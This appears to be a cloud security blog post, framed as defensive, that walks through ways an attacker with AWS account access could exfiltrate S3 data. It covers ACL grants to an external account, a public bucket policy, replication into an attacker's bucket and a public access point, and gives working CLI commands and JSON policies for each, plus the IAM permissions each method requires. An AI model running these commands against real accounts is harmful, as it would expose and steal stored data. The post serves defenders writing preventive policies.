Extracting Data From S3 As The Attacker
Our previous blog post discussed securing S3 buckets (you can find it here), but how might you steal data from those S3 buckets if you were an attacker? This blog post will explore some methods available and the specific permissions an attacker would require to perform them – this will allow you to create service control policies (SCPs) to prevent their use. Or prevent them from being used in any of your IAM policies.
Access Control Lists (ACLs)
Access control lists, or ACLs for short, are an old form of permission management for S3 buckets. They effectively grant specific entities such as other AWS accounts, permissions to “list” or “read” items from a specific bucket.
AWS recently announced that Starting in April 2023, Amazon S3 will change the default settings for S3 Block Public Access and Object Ownership (ACLs disabled) for all new S3 buckets. For new buckets created after this update, all S3 Block Public Access settings will be enabled, and S3 access control lists (ACLs) will be disabled. This is certainly a step in the right direction, as most use cases for ACLs can probably be covered by the bucket policy. However, any existing buckets will not be affected by this change, and the option to enable them on new buckets will still be available.
Once an attacker has gained enough access to an AWS account, they will modify a bucket’s ACL, so it allows full read from an attacker’s AWS account.
Note this method will require you to find the “canonical user ID” of the AWS account. Details on how to do that can be found here.
CLI:
aws s3api put-bucket-acl --bucket <bucket_name> --grant-full-control id=<canonical_user_ID>
Console:
S3 console -> Click specific bucket -> Permissions tab -> Scroll to ACL section -> “External account” section.
Permissions Required:
s3:PutBucketAcl
Bucket Policy
The bucket policy may seem the most obvious one on this list for an attacker to change. Assuming the block public access settings are already off, or the attacker changes it as part of the attack. They can change the bucket policy so that the whole bucket is shared with anyone on the internet (public read). Once this setting is changed, they will simply start copying the contents of the bucket. Of all the attacks on this list, this should be the most notable, as even AWS should be screaming (via GuardDuty alerts) or the “bucket is public” warning on the S3 console.
CLI:
aws s3api put-bucket-policy --bucket MyBucket --policy file://policy.json
The policy.json file contains:
{
"Id": "Policy1397632521960",
"Statement": [
{
"Sid": "Stmt1397633323327",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::bucketnm/*",
"Principal": {
"AWS": [
"*"
]
}
}
]
}
Console:
S3 console -> Click specific bucket -> Permissions tab -> Scroll to bucket policy section -> “Bucket policy” section
Permissions Required:
s3:PutBucketPolicy
Bucket Replication Settings
Bucket replication settings can be used to replicate the contents of one bucket to another. In everyday use, this may be used for backup purposes, failover reasons, etc. However, if an AWS account is compromised, an attacker can make use of this configuration to replicate the contents of the bucket in your account to a bucket in the attacker’s AWS account. It’s worth paying extra attention to this because AWS (specifically GuardDuty) won’t actually alert on this. Note that versioning must be enabled on both the destination bucket and the original bucket for replication to work. Additionally, a role needs to exist within the attacker’s account that has the required permissions for writing content to an S3 bucket, an example role configuration can be found here.
CLI:
Initially, in the target account, we will create a role that the S3 service can assume to write content to the attacker’s bucket.
\ The permission policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetReplicationConfiguration",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::AWSDOC-EXAMPLE-BUCKET1"
]
},
{
"Effect": "Allow",
"Action": [
"s3:GetObjectVersion",
"s3:GetObjectVersionAcl",
"s3:GetObjectVersionTagging"
],
"Resource": [
"arn:aws:s3:::AWSDOC-EXAMPLE-BUCKET1/*"
]
},
{
"Effect": "Allow",
"Action": [
"s3:ReplicateObject",
"s3:ReplicateDelete",
"s3:ReplicateTags"
],
"Resource": "arn:aws:s3:::AWSDOC-EXAMPLE-BUCKET2/*"
}
]
}
\ The trust poilicy must allow S3 to assume
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "s3.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
Once this setup is completed, we can create the replication settings in the target account.
aws s3api put-bucket-replication --bucket mattsec.com.test.bucket --replication-configuration file://replication.json
The contents of replication.json
{
"Role": "arn:aws:iam::11223344556677:role/s3-bucket-replication-role",
"Rules": [
{
"Status": "Enabled",
"Priority": 1,
"DeleteMarkerReplication": { "Status": "Disabled" },
"Filter" : { "Prefix": ""},
"Destination": {
"Bucket": "arn:aws:s3:::my.attackers.s3.bucket"
}
}
]
}
Console:
S3 console -> Click specific bucket -> Management tab -> Replication rules
Required Permissions:
s3:PutReplicationConfiguration
S3 Access Points
S3 access points are used when you want to define a specific access URL for your bucket. They can be deployed within your VPC or alternatively be internet-facing, if an attacker has enough permission to make an endpoint, they could potentially use it to extract data from an S3 bucket. However, it’s worth noting that for this attack to work both the bucket policy and access point policy must be in sync with one another. What do I mean by that exactly? Well, for example, if your bucket policy only allows access to file A and your access point policy allows access to file B. If someone attempts to access file B via the access policy, this request will be denied, as the bucket policy must allow access to file B.
Additionally, remember that an access point’s “public block” settings can’t be changed post-creation. However, the same logic applies here as the bucket policy (if the bucket is blocking all public access it won’t matter what is set on the access point).
For the purpose of this demo, we will create an internet-facing endpoint.
CLI:
#Step one create the access point
aws s3control create-access-point --account-id 123456789 --bucket mattsec.com.test.bucket --name attacking-access-point --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"
#Step 2 set the policy
aws s3control put-access-point-policy --account-id 123456789 --name attacking-access-point --policy file://ap-policy.json
The contents of ap-policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:eu-west-1:123456789:accesspoint/attacking-access-point/object/*"
}
]
}
Console:
S3 console -> Click specific bucket -> Access Points -> Create Access Point
Required Permissions:
s3:CreateAccessPoint
s3:PutAccessPointPolicy
Bad IAM Configuration
Bad IAM configuration. What exactly does that mean? Well, this could cover a vast range of areas, but I will focus on one specific area, which is IAM roles attached to EC2 instances. It’s pretty common to see some form of web application being installed on an EC2 instance and it being supported by an S3 bucket. This may be for media/asset storage etc. To grant access to this S3 bucket, the most “clear” scenario may be to apply an IAM role to the EC2, in practice, this sounds fine. However, if this role is given much broader permissions than it requires, a potential attack path can be introduced. This is precisely what happened with the capital one hack (which you can find more about here). This is probably the most widely known AWS customer breach, and the root cause was a bad IAM policy applied to the EC2 instance, the attacker was able to walk away with a significant amount of data stored in Capital One’s S3 buckets.
So what exactly happened? Well, Capital One had a public-facing website which was hosted on an EC2 instance. This web app was storing something in S3, so the team applied an IAM role to the EC2, allowing the EC2 to access S3. In theory, all good! But let’s take a look at the role that was used:
(I’ve looked everywhere for the exact role that was used, but can’t find any record – so this is “similar” based on the known facts, but the exact role may have differed slightly)
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1679246054478",
"Action": [
"s3:Get*",
"s3:List*"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
Breaking the role down, we can see the “Action” statement allows all get and list actions. This in itself is not great because wild carding is never good. However, this is not the main issue here, it’s the “Resource” section by using a wild card here – this EC2 now has access to every single S3 bucket that is present in this AWS account.
Now, as soon as the attacker gains access to the EC2, they also gain access to every single S3 bucket within this account. Therefore, whenever you grant access to contents stored in S3 (via IAM policies) always make it as fine-grained as possible. Ensuring you grant specific allows and don’t wildcard anything.
Keep an eye out for a blog post soon that will cover securing IAM policies in more detail!